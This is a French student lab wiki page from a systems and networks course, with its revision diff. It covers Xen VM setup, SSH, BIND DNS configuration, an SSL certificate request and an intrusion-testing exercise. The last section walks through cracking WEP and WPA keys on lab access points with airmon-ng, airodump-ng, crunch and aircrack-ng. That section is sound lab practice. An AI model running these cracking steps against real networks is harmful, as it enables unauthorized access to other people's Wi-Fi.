TP sysres IMA5 2021/2022 G11 : Différence entre versions
(→Certificat SSL) |
(→Déploiement site) |
||
Ligne 122 : | Ligne 122 : | ||
On achète le nom de domaine 'corona59.club' sur Gandi.net | On achète le nom de domaine 'corona59.club' sur Gandi.net | ||
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186. | Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186. | ||
+ | On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers | ||
+ | On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net" | ||
+ | |||
+ | |||
On installe ensuite bind sur la vm : | On installe ensuite bind sur la vm : | ||
apt install bind9 | apt install bind9 | ||
Ligne 128 : | Ligne 132 : | ||
(peut etre utiliser 127.0.0.1, mais je suis pas sûr) | (peut etre utiliser 127.0.0.1, mais je suis pas sûr) | ||
On modifie ensuite /etc/bind/named.conf.local : | On modifie ensuite /etc/bind/named.conf.local : | ||
− | zone MON_NOM_DE_DOMAINE | + | zone MON_NOM_DE_DOMAINE { |
type master; | type master; | ||
file "/etc/bind/db.MON_NOM_DE_DOMAINE | file "/etc/bind/db.MON_NOM_DE_DOMAINE | ||
Ligne 147 : | Ligne 151 : | ||
@ IN NS ns6.gandi.net. | @ IN NS ns6.gandi.net. | ||
− | |||
On ajoute au fichier /etc/bind/db.corona59.club : | On ajoute au fichier /etc/bind/db.corona59.club : | ||
− | + | ns IN A 193.48.57.186 | |
− | |||
www IN A 193.48.57.186 | www IN A 193.48.57.186 | ||
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec | IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec | ||
− | + | ||
+ | On teste que notre configuration est correcte : | ||
+ | host -t any ns.corona59.club localhost | ||
+ | On obtient : | ||
+ | Using domain server: | ||
+ | Name: localhost | ||
+ | Address: 127.0.0.1#53 | ||
+ | Aliases: | ||
+ | |||
+ | corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800 | ||
+ | corona59.club name server ns.corona59.club. | ||
+ | corona59.club name server ns6.gandi.net. | ||
+ | |||
+ | Si on obtient pas ça, penser à lancer la commande : | ||
tail -50 /var/log/daemon.log | tail -50 /var/log/daemon.log | ||
− | + | afin de voir ce qui c'est mal passé. | |
− | + | ||
− | + | A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec | |
+ | service bind9 restart | ||
=Certificat SSL= | =Certificat SSL= |
Version du 13 décembre 2021 à 16:25
Sommaire
Creation de la machine virtuelle
Tout d'abord, s'il y a un problème de proxy, taper la commande :
export http_proxy=http://proxy.plil.fr:3128
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton Pour ce faire, on se connecte d'abord en SSH sur root@capbreton On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière. J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation. On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :
lvcreate -L10G -n Corona1 storage lvcreate -L10G -n Corona2 storage
On les formate en ext4 :
mkfs.ext4 /dev/storage/Corona1 mkfs.ext4 /dev/storage/Corona2
Enfin, on modifie le fichier /etc/xen/Corona.cfg :
disk = [ 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w', ]
devient :
disk = [ 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w', 'phy:/dev/storage/Corona1,xvda3,w', 'phy:/dev/storage/Corona2,xvda4,w', ]
et
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]
devient :
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]
Pour lancer la VM, on execute :
xl create -c /etc/xen/Corona.cfg
Dans la VM, on visualise les informations relatives au file system avec la commande :
cat /etc/fstab
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :
mkdir /mnt/xvda3 mkdir /mnt/xvda4 mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :
mv /var/* /mnt/xvda4
Puis dans /etc/fstab, on ajoute :
/dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2
Ensuite, on execute :
mount -a
Enfin, on vérifie que les partitions ajoutées existent :
lsblk
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :
iface eth0 inet6 auto
On applique les changements en redemarrant :
systemctl restart networking
On vérifie que la modification a eu lieu :
ip a
Raccourci pour quitter la VM : CTRL + ']'
Commande pour se connecter à la VM : xen console Corona
Configuration de la VM
A présent, on configure la VM. On installe openssh-server s'il n'est pas installé :
apt install openssh-server
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :
PermitRootLogin without-password PubkeyAuthentication yes
Puis on recharge la configuration avec :
systemctl reload ssh
Sur la zabeth, on créé une clé ssh avec :
ssh-keygen -t ed25519
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM. Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande :
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186
Déploiement site
On achète le nom de domaine 'corona59.club' sur Gandi.net Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186. On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"
On installe ensuite bind sur la vm :
apt install bind9
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :
nameserver 193.48.57.186
(peut etre utiliser 127.0.0.1, mais je suis pas sûr) On modifie ensuite /etc/bind/named.conf.local :
zone MON_NOM_DE_DOMAINE { type master; file "/etc/bind/db.MON_NOM_DE_DOMAINE allow-transfer { 217.70.177.40; }; };
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.
On créé ensuite le fichier /etc/bind/db.corona59.club :
$TTL 604800 @ IN SOA ns.corona59.club postmaster.corona59.club. ( 4 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns.corona59.club. @ IN NS ns6.gandi.net.
On ajoute au fichier /etc/bind/db.corona59.club :
ns IN A 193.48.57.186 www IN A 193.48.57.186 IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec
On teste que notre configuration est correcte :
host -t any ns.corona59.club localhost
On obtient :
Using domain server: Name: localhost Address: 127.0.0.1#53 Aliases:
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800 corona59.club name server ns.corona59.club. corona59.club name server ns6.gandi.net.
Si on obtient pas ça, penser à lancer la commande :
tail -50 /var/log/daemon.log
afin de voir ce qui c'est mal passé.
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec
service bind9 restart
Certificat SSL
Pour obtenir un certificat SSL, on tape :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name" Un fichier .csr et .key sont créés. On peut mettre le fichier .key dans le repertoire /etc/ssl/private. On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/.
Test d'intrusion
On commence par tenter de casser une clé WEP. Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :
airmon-ng
puis on lance (3 représente la channel utilisée)
airmon-ng start NOM_DE_L_INTERFACE 3
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.
Pour visualiser les paquets sniffés, on execute alors
airodump-ng -c 3 wlan0mon
On observe plusieurs emetteurs, avec leur BSSID associé. On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A On lance alors la commande :
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :
aircrack-ng MonFichier-01.cap
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.
On essaye à présent de casser une clé WPA.
On scanne la bande de fréquence 9 :
airodump-ng -c 9 wlan0mon
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A On récupère ensuite des handshakes avec la commande :
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon
Par la suite, on souhaite utiliser l'utilitaire crunch.
apt install crunch
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :
auto enp4s0 iface enp4s0 inet static address 172.26.145.121/24 gateway 172.26.145.254
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :
crunch 8 8 0123456789 -o password.lst
Enfin, on lance la commande :
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap
Le processus peut prendre plusieurs heures.